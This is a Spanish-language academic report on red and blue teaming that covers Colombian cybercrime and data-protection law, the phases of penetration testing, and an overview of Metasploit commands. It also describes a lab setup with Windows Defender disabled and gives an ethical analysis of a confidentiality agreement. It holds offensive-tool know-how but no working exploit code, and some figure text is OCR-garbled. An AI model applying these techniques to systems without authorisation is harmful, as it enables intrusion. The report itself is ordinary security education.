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1 INTRODUCCION

Con los avances de la tecnologia, asi como su aplicacion en la industrializacion y
la digitalizacion del mundo, las amenazas informaticas hoy estan presentes en
todo el mundo en todo momento, muchas son las noticias que a diario observamos
donde las empresas tanto grandes como pequefas se han vuelto muy vulnerables
ante los ataques informaticos y la mayoria de esfuerzos que realizan las
organizaciones no son suficientes para garantizar la seguridad de su informacién.
De alli surgen los especialistas en ciberseguridad, profesionales con las
capacidades técnicas que puedan enfrentar estas nuevas amenazas, sin embargo,
dentro de la ciberseguridad existen aun temas que requieren de una gran
profundizacién de conocimiento, por lo que una sola persona experta en seguridad

no puede cubrir todos los espectros de la seguridad informatica.



2 JUSTIFICACION

Con el fin de que las organizaciones identifiquen todo el espectro de la seguridad
informatica frente al que pueden ser vulnerables, es razén por la cual nacen los
equipos especializados red team y blue team, pues es alli donde se abordan a
detalle muchos de los preparativos de la seguridad a implementar en la
infraestructura de las organizaciones. Es clave para las organizaciones, asi como
los directivos de las mismas reconocer las ventajas que pueden ofrecer estos

equipos con el fin de garantizar la seguridad en cada uno de sus procesos.



3 OBJETIVOS

3.1 OBJETIVO GENERAL

Formular estrategias de contencion mediante el analisis de riesgos vy

vulnerabilidades en una infraestructura TI.

3.2 OBJETIVOS ESPECIFICOS

e |dentificar la importancia del despliegue de estrategias de seguridad
relacionadas con los equipos Blue team y Red team, mediante el analisis

del escenario propuesto.

e Analizar e identificar caracteristicas claves frente a la necesidad de
inclusion de los equipos Red team y Blue team en las medianas y grandes

empresas.

e Proponer recomendaciones y estrategias de seguridad que puedan

contribuir en la mejora de técnicas para los equipos Red team y Blue team.



4 INFORME TECNICO

41 CONCEPTOS CLAVES

A continuacion de se desarrollan algunos de los conceptos calves relacionados al

ejercicio del pentesting.

411 Analisis ley 1273 de 2009

La ley 1273 de 2009" tiene como fin garantizar la proteccién de la ciudadania en
general frente a los delitos cibernéticos, todos aquellos relacionados con la
proteccion de la informacién y los datos, en los articulos de la misma se definen
algunas de las situaciones o eventos ilicitos, describiendo las medidas penales
que pueden llegar a ser impuestas a toda persona que realice este tipo de
comportamientos; a continuaciéon, se realiza el andlisis de los articulos

correspondientes:

Articulo 1. Se adiciona como tal en el codigo penal un nuevo bien juridico
perteneciente a la sociedad, “De la proteccién de la informacion y de los datos”

siendo este susceptible de atentados.

Articulo 269A. Acceso abusivo a un sistema informatico: Menciona que toda
aquella persona que ingrese o acceda de forma parcial o total a un sistema
informatico de forma no consensuada o no autorizada, sin importar si este cuenta

con una medida de seguridad, podra ser susceptible de una pena carcelaria de 48

T DEPARTAMENTO ADMINISTRATIVO DE LA FUNCION PUBLICA. Ley 1273 de 2009.
Normatividad sobre delitos informaticos. [En linea]. [Consultado en 12 de Agosto de 2023].
Disponible en: https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=34492



a 96 meses y de forma adicional, una multa de cien a mil salarios minimos legales

mensuales vigentes.

Articulo 269B. Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion: Aquellas personas que no estén facultadas para la
manipulacion de un sistema informatico o red de telecomunicaciones, impida el
funcionamiento o el acceso de forma normal a estos, podra ser susceptible de una
pena carcelaria de 48 a 96 meses y de forma adicional, una multa de cien a mil

salarios minimos legales mensuales vigentes.

Articulo 269C. Interceptacion de datos informaticos: La interceptacion de datos es
algo que solamente puede realizarse por las entidades legales pertinentes, por ello
debe realizarse unicamente bajo orden judicial, en caso de realizarse sin esta

orden judicial podra ser susceptible de una pena carcelaria de 36 a 72 meses.

Articulo 269D. Dafio Informatico: Aquellas personas que no estén facultadas para
la manipulacion de datos, sistemas o elementos informaticos, genere un dafio
sobre estos, podra ser susceptible de una pena carcelaria de 48 a 96 meses y
adicionalmente una multa de cien a mil salarios minimos legales mensuales

vigentes.

Articulo 269E. Uso de software malicioso: Aquellas personas que no estén
facultadas para la manipulacion de software malicioso, que genere, adquiera,
distribuya software que tenga efectos dafiinos en sistemas informaticos podra ser
susceptible de una pena carcelaria de 48 a 96 meses y adicionalmente una multa

de cien a mil salarios minimos legales mensuales vigentes.
Articulo 269F. Violacion de datos personales: Aquellas personas que no estén

facultadas para la manipulacién de datos personales, en caso de que obtengan,

manipulen, lucren, compre, intercepten o divulguen mediante diferentes medios
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electrénicos esta informacién podran ser susceptible de una pena carcelaria de 48
a 96 meses y adicionalmente una multa de cien a mil salarios minimos legales

mensuales vigentes.

Articulo 269G. Suplantacion de sitios web para capturar datos personales:
Aquellas personas que realicen la suplantacion de sitios web con fines ilicitos, y
capturen informacion personal bajo uno o diferentes medios electrénicos, podran
ser susceptible de una pena carcelaria de 48 a 96 meses y adicionalmente una
multa de cien a mil salarios minimos legales mensuales vigentes. También seran
acreedores de la misma sancién aquellas personas que alteren los DNS que
redireccionen de forma errobnea a los usuarios a paginas web ilegitimas.
Adicionalmente la pena puede ser agravada de una tercera parte a la mitad, si

para realizar el delito se reclutaron victimas en la cadena del delito.

Articulo 269H. Circunstancias de agravacion punitiva: Las penas impuestas en los
articulos pueden aumentar de la mitad a las tres cuartas partes si dentro de la

conducta del delincuente se presenten las siguientes situaciones:

e Se efectuen sobre redes o sistemas de comunicaciones estatales, oficiales,
financieras, nacionales o extranjeras.

e Sea realizada por un servidor publico.

e Haya abusado de la confianza del duefio o poseedor del sistema.

e Haya revelado informacion que pudiese perjudicar a un tercero.

e Haya obtenido un beneficio propio o para un tercero.

e Haya realizado el ilicito con fines terroristas o que afectara a la seguridad o
defensa nacional.

e Haya usado a un tercero para el ilicito, siendo esta persona inocente.

¢ Quien haya realizado el ilicito fuese responsable de la administracion de la
red o sistema, adicionalmente sera inhabilitado de su profesion hasta por

tres anos.
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Articulo 269I1. Hurto por medios informaticos y semejantes: Aquellas personas que
realicen un ilicito haciendo uso de la manipulacion de sistemas, redes, o medios
cibernéticos podran ser susceptible de una pena carcelaria de 48 a 96 meses y
adicionalmente una multa de cien a mil salarios minimos legales mensuales
vigentes.

Articulo 269J. Transferencia no consentida de activos: Aquellas personas que
realicen la manipulacion o transferencia de activos de forma ilicita y no consentida
perjudicando a un tercero, como minimo podran ser susceptible de una pena
carcelaria de 48 a 120 meses y adicionalmente una multa de doscientos a mil
quinientos salarios minimos legales mensuales vigentes. De la misma manera a
quien genere comparta o facilite software para que este delito sea llevado a cabo.
Si el valor de los activos es superior a 200 salarios minimos legales mensuales la

sancion se incrementara a la mitad.

Aunque se abordan de forma general la mayoria de conductas relacionadas a los
delitos cibernéticos en el pais, la ley no es muy especifica sobre las personas
facultadas y no facultadas para la manipulacion de herramientas cibernéticas

potencialmente peligrosas.

4.1.2 Analisis ley 1581 de 2012

La ley 1581 de 20122 tiene como objeto garantizar el derecho de las personas, de
conocer actualizar y rectificar la informacion que ha sido recolectada sobre ellas
en diferentes bases de datos o archivos, asi como los derechos y libertades que

implica el manejo de la informacién de datos personales. Lo anterior abarca como

2 DEPARTAMENTO ADMINISTRATIVO DE LA FUNCION PUBLICA. Ley 1581 de 2012.
Disposiciones generales para la proteccion de datos personales. [En linea]. [Consultado en 12 de
Agosto de 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=49981
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tal a todas las entidades que hacen recoleccion de informacion de sus usuarios, ya

sean publicas o privadas en el territorio colombiano.

Por otro lado, el régimen de protecciéon de datos no aplica para los siguientes

Casos:

e Bases de datos y archivos personales de uso domeéstico.

e Bases de datos y archivos de seguridad y defensa nacional.

e Bases de datos y archivos de inteligencia y contrainteligencia.

e Bases de datos y archivos de informacion periodistica y contenido editorial.

e Bases de datos y archivos regidos por la ley 1266 de 20083 (Disposiciones
generales Habeas Data y otras disposiciones).

e Bases de datos y archivos regidos por la ley 79 de 1993* (Censos de

poblacién y vivienda).

Sobre el titulo Il de la ley de establecen 8 principios que permiten regir la ley, y
dan contexto de las caracteristicas de los datos, sus poseedores, y la forma en

que deben ser tratados; estos son:

¢ Principio de legalidad en materia de tratamiento de datos.
e Principio de finalidad.

e Principio de libertad.

¢ Principio de veracidad o calidad.

e Principio de transparencia.

3 DEPARTAMENTO ADMINISTRATIVO DE LA FUNCION PUBLICA. Ley 1266 de 2008.
Disposiciones generales del habeas data y se regula el manejo de la informacion contenida en
bases de datos y se dictan otras disposiciones. [En linea]. [Consultado en 12 de Agosto de 2023].
Disponible en: https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=34488#0

4 DEPARTAMENTO ADMINISTRATIVO DE LA FUNCION PUBLICA. Ley 79 de 1993. Regulacién
de los censos de poblacion y vivienda en todo el territorio nacional. [En linea]. [Consultado en 12
de Agosto de 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=14376#0
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¢ Principio de acceso y circulacion restringida.
¢ Principio de seguridad.

¢ Principio de confidencialidad.

Sobre el titulo Ill de la ley se definen las categorias especiales de los datos,

identificando:

e Los datos sensibles y su tratamiento, siendo estos datos que pueden
afectar la intimidad de los titulares y puede generar efectos adversos a
estos.

e Derechos de los nifos, nifas y adolescentes, donde se busca darle
especial tratamiento a este grupo, al ser mucho mas vulnerables y

depender de otras personas, representantes legales o tutores.

Sobre el titulo IV de la ley se establecen los derechos y condiciones legales para
el tratamiento de los datos, identificando los derechos especificos de los titulares
para conocer, actualizar, solicitar, reclamar, revocar o acceder a los datos, junto
con las disposiciones especificas de las entidades gubernamentales, siguiendo los
principios expuestos anteriormente. Sobre el titulo V de la ley, se establecen los
procedimientos que se realizan con los datos de las personas como lo son:
consultas, reclamos y requisitos de procedibilidad, con sus respectivos tiempos de

atencion.

Sobre el titulo VI se listan los deberes de los responsables del tratamiento y
encargados del tratamiento de datos, cumpliendo con los principios rectores del
titulo 1l, salvaguardando los derechos de los titulares de los datos entre otras
disposiciones legales sobre las entidades de verificacion como la superintendencia
de industria y comercio en caso de presentarse violaciones en el tratamiento de

los datos.

14



Sobre el titulo VII se mencionan los mecanismos de vigilancia y sancion, siendo la
entidad encargada la superintendencia de industria y comercio, a través de una
delegatura quien impondra las sanciones necesarias tras previas investigaciones
de cada caso particular, dentro de estas sanciones de encuentran:

e Multas personales e institucionales hasta un tope de 2000 salarios minimos
mensuales legales vigentes, con la caracteristica que pueden ser sucesivas
mientras persista el incumplimiento que origina la multa.

e Suspension de actividades relacionadas al tratamiento de datos hasta por 6
meses, en este proceso se comparten las medidas correctivas que se
deben adoptar.

e Cierre temporal de instalaciones relacionadas al tratamiento de datos, esto
si no fueron establecidas las medidas correctivas sugeridas por la super
intendencia de industria y comercio.

e Cierre definitivo de operaciones.

Las anteriores sanciones aplican para las personas de naturaleza privada, puesto
que para las autoridades publicas la entidad encargada de realizar la respectiva
investigacion sera la procuraduria general de la nacion. Los criterios con los que

se dimensionan las sanciones son:

e La dimension del dafo o peligro a los intereses.

e El beneficio econémico obtenido por el infractor o terceros.

¢ Reincidencia en la infraccion.

¢ Resistencia o negativa a las acciones investigativas de la superintendencia
de industria y comercio.

e La renuencia o desacato de las instrucciones dadas por la superintendencia
de industria y comercio.

e La aceptacion expresa del sujeto investigado ante las infracciones

encontradas.

15



Por ultimo, sobre el titulo VIl de la ley se establecen las prohibiciones y reglas de
la transferencia de datos a terceros paises, junto con sus respectivas excepciones
gubernamentales que puedan involucrar la seguridad nacional o los tratados
internacionales, teniendo en cuenta los principios establecidos y garantizando los

derechos de los titulares de los datos.

4.1.3 Analisis etapas del pentesting

En el ejercicio del pentesting existen diferentes metodologias y marcos de trabajo
que permiten orientar los procesos hacia infraestructuras de forma general o mas
especifica dependiendo de las necesidades especificas de cada organizacion,
como lo pueden ser OSSTM® siendo una de las mas amplias junto con NIST® a
nivel de aplicacion y analisis de distintas tecnologias, algunas mas especializadas
como OWASP enfocada en la seguridad de aplicaciones web, o de forma general
como ISSAF que cumplen con estandares internacionales pero ya lleva mucho
tiempo sin ser actualizada. Sin embargo, todas estas metodologias cumplen con

una serie de fases en comun que son:

e Planificacion
e Descubrimiento

e Ataque

5 DRAGONJAR. OSSTMM 2.1. Manual de Metodologia Abierta de Testeo de Seguridad. [En lineal].
[Consultado en 12 de Agosto de 2023]. Disponible en: https://www.dragonjar.org/osstmm-manual-
de-la-metodologia-abierta-de-testeo-de-seguridad.xhtml

8 NIST. Technical Guide to Information Security Testing and Assessment. [En linea]. [Consultado
en 12 de Agosto de 2023]. Disponible en:
https://nvipubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf

7 OWASP Project. Web Application Security Testing. [En linea]. [Consultado en 12 de Agosto de
2023]. Disponible en: https://owasp.org/www-project-web-security-testing-guide/v42/4-
Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server
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e Informes y documentacion

4.1.3.1 Planificacion

En esta fase se recolecta toda la informacion necesaria para la ejecucion de la
prueba de pentesting, definiendo el objetivo, alcance y requerimientos de la
misma, asi como los elementos operacionales definiendo las responsabilidades
del equipo de pentesting, las limitaciones sobre la infraestructura a evaluar, las
salvaguardas y controles que estan activas, los métodos de aproximacion,
métodos de recoleccion de informacién para la prueba y tiempos limites para su

ejecucion.

Esta fase establece los lineamientos de la prueba, siguiendo los marcos legales y
los acuerdos pactados entre la organizacion y el equipo encargado de realizar el

ejercicio de pentesting.

4.1.3.2 Descubrimiento:

En esta fase también conocida como gathering, se recolecta la informacion
correspondiente al objetivo de la prueba, siguiendo los lineamientos definidos en la

fase de planificacion, la fase de descubrimiento tiene dos elementos:
e Footprinting: En este elemento se busca la recoleccion de informacion

mediante los datos publicos de la infraestructura u organizacién objetivo, de

modo que no se tenga una interaccion directa durante el ejercicio

17



investigativo. Dentro de las fuentes para recolectar informacion que sugiere

la pagina web ciberseguridad.com?® estan:

o Redes sociales — (gratuita).

o Sitios web oficiales — (gratuita).

o Motores de busqueda — (gratuita).
o Ingenieria social — (gratuita).

o Inteligencia artificial — (gratuita).

o Archieve.org — (gratuita).

o Neo Trace — (gratuita).

o Whois — (gratuita).

o OSINT — (gratuita).

e Fingerprinting: En este elemento se busca la recoleccion de informacion
haciendo uso de diversas herramientas de forma activa, haciendo contacto
de forma exhaustiva con el objetivo, este puede generar un rastro
detectable para las organizaciones. Este proceso permite ampliar la
superficie de ataque del objetivo al identificar muchos mas elementos
vulnerables dentro de la infraestructura, algunas de las herramientas que

sugiere la web keepcoding® para el proceso de fingerprinting son:

o Wappalyzer — (gratuita y de pago).
o Nmap — (gratuita).

o Nessus — (gratuita y de pago).

o Wireshark — (gratuita).

o Ingenieria social — (gratuita).

8 CIBERSEGURIDAD.COM. Noticias de ciberseguridad, ciberataques, vulnerabilidades
informaticas. [En linea]. [Consultado en 12 de Agosto de 2023]. Disponible en:
https://ciberseguridad.com/amenzas/footprinting-fingerprinting/#; Que_es_el Footprinting

9 KEEPCODING Tech School. ¢ Qué es fingerprinting? [En linea]. [Consultado en 12 de Agosto de
2023]. Disponible en: https://keepcoding.io/blog/que-es-fingerprinting-ciberseguridad/#Footprinting
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o Ettercap — (gratuita).

En la etapa de descubrimiento, especificamente el footprinting es clave para
reconocer el area de ataque del objetivo, identificando elementos funcionales de
su infraestructura, lo que permite establecer una hoja de ruta mucho mas clara en
el momento de generar un ataque, aumentando las posibilidades de que este

pueda ser exitoso.

4.1.3.3 Ataque:

Tras haber recolectado la informacion necesaria de la fase de descubrimiento se
pondran a prueba las vulnerabilidades encontradas, mediante las diversas
técnicas que puedan verificar el comportamiento del sistema durante y después de
la vulneracién. Este proceso debe ser documentado de forma detallada, ya que

permitira establecer posteriormente las medidas correctivas necesarias.

4.1.3.4 Informes y documentacion:

Es una de las fases claves que permite la recopilacion de todos los procesos
realizados durante la prueba de pentesting, mencionando la metodologia usada,
las técnicas utilizadas para encontrar las vulnerabilidades del sistema, la forma en
que fueron explotadas y las medidas de remediacion sugeridas. Adicionalmente a
la documentacion se sugiere una presentacion de resultados a las partes
interesadas, esto con el fin de traducir los resultados técnicos de la prueba a
decisiones técnicas y operativas que permitan mejorar la calidad de la seguridad

de la organizacion objetivo.
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4.1.4 Metasploit

Metasploit es una de las herramientas mas usadas en el mundo del hacking, es un
proyecto de cddigo abierto propiedad de la compainia RAPID7'°, creado para la
deteccion de vulnerabilidades en los procesos de pentesting, inicialmente
desarrollada en Perl, pero que posteriormente se migro a Ruby. La herramienta

cuenta con diferentes versiones:

e Metasploit Edition — Interfaz por linea de comandos, gratuita.

e Edicion Community Metasploit — Interfaz web, gratuita.

o Metasploit Express — Interfaz grafica y automatizada, comercial de pago.

e Metasploit Pro — Interfaz web, interfaz grafica y automatizada, comercial de
pago.

e Armitage — Interfaz grafica, gratuita.

e Cobalt Strike — Incluye modulos mimicats, gratuita.

A su vez Metasploit cuenta con una arquitectura modular, de forma especifica
separada en cinco elementos (Herramientas, plugins, interfaces, librerias y
moddulos) como se observa en la Figura 1., las herramientas correspondientes a
los scripts, los plugins que usan recursos de Metasploit, las interfaces de
visualizacion, las librerias que contienen las configuraciones de Metasploit y los

modulos que permiten su accionar.

0 RAPID7. Metasploit. Quick Start Guide. [En linea]. [Consultado en 12 de Agosto de 2023].
Disponible en: https://docs.rapid7.com/metasploit/
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Figura 1. Arquitectura de Metasploit

Metasploit Architecture

LIBRARIES INTERFACES

- Rex Console

A
CLI

MSF Core
. Web

PLUGINS » MSF Base " GUI
'

MODULES

Payloads Exploits Encoders Nops

Fuente: PLATZI. Curso de Pentesting 2019. Arquitectura de Metasploit. [En linea].
[Consultado en 13 de Agosto de 2023]. Disponible
https://platzi.com/tutoriales/1176-pentesting-2019/2224-arquitectura-de-metasploit/

en:

Dentro de los médulos que tiene Metasploit se encuentran:

Auxiliary: Permite la integracion de otras herramientas con Metasploit.
Encoders: Codificadores criptograficos.

Exploits: Contiene la base de datos de los exploits identificados.
Payloads: Contiene los codigos maliciosos.

Post: Contiene coédigos que permiten avanzar en la etapa de
explotacion.
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https://platzi.com/tutoriales/1176-pentesting-2019/2224-arquitectura-de-metasploit/

Por otro lado, como menciona el articulo “Echandole un vistazo a Metasploit”'" de
la web security twins, Metasploit cuenta con varias herramientas adicionales para

hacer uso de todas sus caracteristicas como lo son:

e Msfpayload: Permite generar shellcodes para la inyeccion de cddigo
malicioso.

e Msfencode: Se encarga del ocultamiento de los payloads mediante el uso
de criptografia y ofuscamiento.

e Msfpescan y msfelfscan: Realiza el escaneo de ficheros ejecutables para
Windows y Linux respectivamente.

o Msfd: Genera un servicio de escucha en un puerto determinado.

Especificamente para el caso de Metasploit Framework su ejecucion se puede
realizar desde la consola mediante el comando sudo msfdb init && msfconsole ya
que es necesario iniciar la base de datos para algunas de sus funcionalidades o

en su defecto usando la interfaz grafica como se observa en la Figura 2.

Figura 2. Interfaz grafica para ejecutar Metasploit.
Archivae Maguina Ver Entrada Disp

S miEP o]

Q, metas

m metasploit framework

Fuente: Propia

M SECURITY TWINS. Echandole un vistazo a Metasploit En linea]. [Consultado en 13 de Agosto
de 2023]. Disponible en: https://securitytwins.com/2018/11/18/echandole-un-vistazo-a-metasploit/
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Una vez ejecutado se esta listo para acceder a sus funcionalidades como se

observa en la Figura 3.

Figura 3. Ejecucion de Metasploit.

[sudo] contraseii
1 Da ase I

COLLATION VERSION
em pre i .
ER DATA COLLATION VERSION

system

run ALTER JAS f R COLLATION V¥

, or build Postg
WARNING: da a L
The d. ba L i ¢ t ng system = o
uild all ob ts i i ata u e de L L1 al run ALTER DATA f R LLATION VERSION

Metasploit tip:
with T

Fuente: Propia

Los comandos para acceder a las funciones de Metasploit mantienen una
estructura de: [comando] [opciones] [argumentos], por lo que se vuelve una
herramienta muy intuitiva con algunos usos. Dentro de los principales comandos

estan:
e search: Permite buscar moddulos y exploits en la base de datos de

Metasploit.

e use: Se utiliza para seleccionar un médulo especifico para su uso.
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e show options: Muestra las opciones disponibles para configurar un modulo
seleccionado.

e set: Configura los valores de las opciones requeridas para un modulo, como
la direccién IP de la victima, el puerto, etc.

e exploit: Lanza la explotacion en funcién de las opciones y configuraciones
establecidas.

e sessions: Muestra las sesiones activas después de una explotacion exitosa.

e background: Pone en segundo plano una sesion activa para continuar
trabajando en msfconsole.

e sessions -i [ID]: Reanuda una sesion especifica en primer plano.

e creds: Muestra las credenciales recopiladas durante una explotacion
exitosa.

e db_status: Muestra el estado de la base de datos Metasploit.

e db_import [ruta]: Importa datos de escaneo y resultados en la base de datos
Metasploit.

e load [nombre_del _mddulo]: Carga un médulo adicional en la sesién actual.

e route add [subnet]: Agrega una ruta estatica a través de una sesion
comprometida.

e route print: Muestra las rutas estaticas definidas a través de sesiones
comprometidas.

e jobs: Muestra y administra trabajos en segundo plano.

e exit: Cierra la sesion de msfconsole.
Es importante mencionar que algunos modulos de forma especifica tendran mas o

menos argumentos para su configuracion, por lo que el comando help sera una

valiosa ayuda durante su ejecucion.

24



41.5 ;Qué es un CVE y su estructura?

Como menciona el articulo 4Qué es un CVE? Explicacion de las vulnerabilidades
y exposiciones comunes’ de la web Ciberseguridad.com, la sigla CVE hace
referencia a Common Vulnerabilities and Exposures, que corresponde a una lista
de las vulnerabilidades y exposiciones de seguridad de la informacién que han
sido identificadas y divulgadas de forma publica. Como tal el concepto de CVE fue
creado por la organizacion MITRE' que es una base global de conocimiento

sobre tacticas y técnicas cibernéticas y no cibernéticas que afectan la seguridad.

Los CVE son un glosario que utiliza un protocolo de automatizacion de contenido
que permite recopilar la informacion de diversas vulnerabilidades y exposiciones
de seguridad, las cuales se catalogan con identificadores especializados y se les
asigna un ID unico para su identificacion. El objeto fin de los CVE es generar una
cultura de intercambio de informacién y conocimiento mundial sobre las
vulnerabilidades reconocidas por las organizaciones en el mundo, de este modo
los profesionales en seguridad informatica pueden reconocer y solucionar

vulnerabilidades antes de que sean explotadas en sus entornos.

Como menciona el articulo E/ concepto del CVE'# de la organizacién RedHat, los
numeros de identificacion de un CVE se aignan a fallas o vulnerabilidades que

cumplen con los siguientes criterios:

e Son solucionables de forma independiente.

e El proveedor afectado las confirma o documenta.

2 CIBERSEGURIDAD.COM. ¢ Qué es un CVE? Explicacion de las vulnerabilidades y exposiciones
comunes. [En linea]. [Consultado en 13 de Agosto de 2023]. Disponible en:
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-
comunes/

8 MITRE. MITRE ATT&CK. [En linea]. [Consultado en 13 de Agosto de 2023]. Disponible en:
https://attack.mitre.org/

4 REDHAT. El concepto de CVE. [En linea]. [Consultado en 13 de Agosto de 2023]. Disponible en:
https://www.redhat.com/es/topics/security/what-is-cve
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e Afectan una base del cédigo.

El formato de ID de un CVE tiene la siguiente estructura CVE-ANO-
IDENTIFICADOR, adicionalmente se clasifican bajo su nivel gravedad siendo de 0
a 10, y el impacto que pueden tener en alguna de las areas de la ciberseguridad.
Dentro de las categorias de informacién que provee el CVE en su estructura

estan:

e CVE-ID

e Descripcion

e Referencias

e CNA que registro el CVE
e Fecha de registro

e Fase legal

e Comentarios

Por otro lado, existe una base de datos de exploits que es Exploit database’® esta
es mantenida por la organizacion OffSec, una empresa de formacioén en seguridad
de la informacién, que tiene como objetivo la recoleccion de exploits para ser una
de las bases de datos mas completas de acceso libre, a diferencia de los CVE
esta base de datos recopila pruebas de conceptos, no solamente de avisos de
vulnerabilidades, por lo que provee un concepto mas completo de lo que informa
un CVE. A modo de ejemplo sobre la pagina web, ademas de compartir la
informacion del CVE de la vulnerabilidad divulgada, permite descargar el archivo
exploit, a modo de replicar y verificar la vulnerabilidad, como se muestra en la

Figura 4.

1S OFFSEC. EXPLOIT DATABASE. About The Exploit Database. [En linea]. [Consultado en 13 de
Agosto de 2023]. Disponible en: https://www.exploit-db.com/about-exploit-db

26



Figura 4. Ejemplo de exploit database.

Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)

EDB-ID: CVE: Author: Type: Platfor Date:

2023-27163 IYAAD WEBAPPS m:
LUQMAN K i
PYTHON

EDB Verified: .
Exploit: & / {}

Vulnerable App:

Fuente: Propia

En resumen, exploit database es un complemento para los CVE’s ya que provee
de informacion adicional y de replicacion de las vulnerabilidades, facilitando el

proceso de investigacion de las mismas.

4.1.6 Configuracion del banco de trabajo

Conforme al anexo 1, se realizd la configuracion del banco de trabajo con dos
maquinas virtuales sobre la plataforma virtual box, siendo la primera maquina

virtual con una distribucion Kali Linux 64x, con las siguientes caracteristicas:

e Memoria RAM 8Gb
e 5CPU
e Disco virtual 120 Gb

e Adaptador de red en modo puente

En la Figura 5, se puede observar su configuracion una vez creada la maquina

virtual.
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Figura 5. Maquina virtual Kali Linux del banco de trabajo.

Ll General Ol previsualizacién

: KALI FULL
a operativo:  Ubuntu (54-hit)

Sistema
5192 MB

= KN A

sscritorio remoto: I
Inhabilitado

B Almacenamiento

KALI FULL.vdi {Mermal, 120,00 GE)

Controlador de anfitrign:  Predeterminado
Controlador: ( caz7

¥ Red
Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek PCle GbE Family Controller #2x)

Fuente: Propia

Para la segunda maquina virtual, esta vez con un sistema operativo Windows 10,

se le asignaron los siguientes recursos:

¢ Memoria RAM 6Gb
e 4CPU
e Disco virtual 50Gb

e Adaptador de red en modo puente

En la Figura 6, se puede observar su configuracion una vez creada la maquina

virtual.
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Figura 6. Maquina virtual Windows 10 del banco de trabajo.

O] General & Previsualizacién

Aceleracion: '3 ani aravirtualizacion Hyper-V
] pantalla

i
grafico:
escritorio remoto:  Inhabil
Inhabilitado

w64.is0 (5,41 GB)

de anfitridn: Predeterminado
. Audio Intel HD

Adaptador 1: Intel PROS1000 MT Desktop (Adaptador puente, «Realtek PCle GbE Family Controller

Fuente: Propia

Con el fin de verificar conectividad entre ambas maquinas virtuales, se realizé un

ping desde cada sistema operativo, siendo las IP’s correspondientes:

e Kali Linux —192.168.0.11
e Windows 10 — 192.168.0.19

Arrojando como resultado conectividad de forma 6ptima como se muestra en las

Figuras 7 y 8 respectivamente.
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Figura 7. Ping de la maquina Windows a la maquina Kali Linux.

C:\Users\laboratorio»ping 192.168.86.11

Il

b=
es5
b=

m

tiempo<im

4, perdidos

mados de ida y vuelt
M

en milisegundos:
Minimo = B8ms, Maximo ﬁm«J ia

a
edia = ems

Fuente: Propia

Figura 8. Ping de la maquina Kali Linux a la maquina Windows.

168.8.19
PING 192.168.0.19 (192.168.8.19) 56(84) ata.
bytes from 192.168.8.19: icmp_seqg= 1 ime=0.178 ms
bytes from 192.168.0.19: icmp_ rﬂq . ime=( ue
bytes from 192. @.19: icmp_s ' ime ms

bytes from 192.168.0.19: icmp_se q= e=0.187 ms
bytes from 192.168.8.19: icmp_ 28 time=0.194 ms

19 .168.8.19 ping a
ickets transmitted, recelve 0% packet loss, time 4115ms
i

nin/aveg/max/mdewv B.165/8. /0.232/8.022

Fuente: Propia
Con el fin de terminar la configuracion se desactivaron las protecciones

correspondientes de Windows 10 deshabilitando los escudos de Windows

defender como se observa en la Figura 9.
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Figura 9. Deshabilitacién de Windows Defender.

Proteccion en tiempo real

Localiza el malware e impide que se instale o
gjecute en el dispositivo. Puedes desactivar esta
opcion durante un breve periodo antes de que
vuelva a activarse automaticamente.

La proteccion en tiempo real esta
€ desactivada, lo que pone en riesgo el
dispositivo.

(D Desactivado

Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida
con acceso a los datos de proteccion mas
recientes en la nube. Funciona mejor cuando el
envio automatico de muestras esta activado.

La proteccion basada en la nube lgnorar
A\ esté desactivada. El dispositivo
podria ser vulnerable.

(D Desactivado

Fuente: Propia
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4.2 ACTUACION ETICA Y LEGAL

En este capitulo se abordan las caracteristicas éticas y legales del escenario

propuesto con la organizacién HackerHouse.

4.2.1 Analisis del acuerdo de confidencialidad de Hacker House

Dentro del analisis realizado sobre el acuerdo de confidencialidad se identificaron
los siguientes parrafos en cursiva, como actividades que conllevan a realizar

procesos ilegales:

e Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente,
ni a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores o cualquier persona relacionada con ella, /a
informacion confidencial o sobre procesos ilegales dentro de HackerHouse

no podran ser divulgados.

De forma explicita invita a ser complices de actividades ilicitas que realiza la
empresa, pues al tener en nuestro poder informacion de actos delictivos y
no reportarla a las entidades gubernamentales correspondientes estamos
cometiendo los delitos de encubrimiento'® y favorecimiento'” teniendo como

agravante que vamos a recibir un salario a cambio de nuestro silencio.

6 DEXIA ABOGADOS. El delito de encubrimiento. [En linea]. [Consultado en 17 de Agosto de
2023]. Disponible en: https://www.dexiaabogados.com/blog/delito-
encubrimiento/#:~:text=E|%20delito%20de%20encubrimiento&text=E|%20encubrimiento%20es%2
Oun%20delito,0%20identificar%20a%20sus%20autores.

7 LEYES.CO. Cédigo Penal Articulo 446 Colombia. [En linea]. [Consultado en 17 de Agosto de
2023]. Disponible en: https://leyes.co/codigo_penal/446.htm
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Sobre la definicidon de informacion confidencial en el item 2 menciona como
informacion confidencial: datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas

informaticos”.

Lo anterior conlleva al encubrimiento de delitos informaticos, adicionalmente
violando lo expuesto en la ley 1273 de 20098 siendo cémplice de los

mismos dado que tendremos acceso sobre estos datos.

Sobre la definicion de informacién confidencial en el item 3 menciona como
informacion confidencial: La que corresponda o deba considerarse como tal
para garantizar el derecho constitucional a la intimidad, la honra y el buen
nombre de las personas y deba guardarse la debida diligencia en su

discreciéon y manejo en el desemperio de sus funciones.

Sin embargo, esta definicion puede verse comprometida pues al manejar
informacion posiblemente ilicita, guardar discrecion y manejo frente a
funciones laborales incurriria en que estas funciones también serian

ilegales.

La Tercera consideracién menciona el origen de la informacién confidencial
a la que se tendra acceso, donde se menciona: provendra de documentos
suministrados en el proceso de seleccion de personal y que tiene que ver
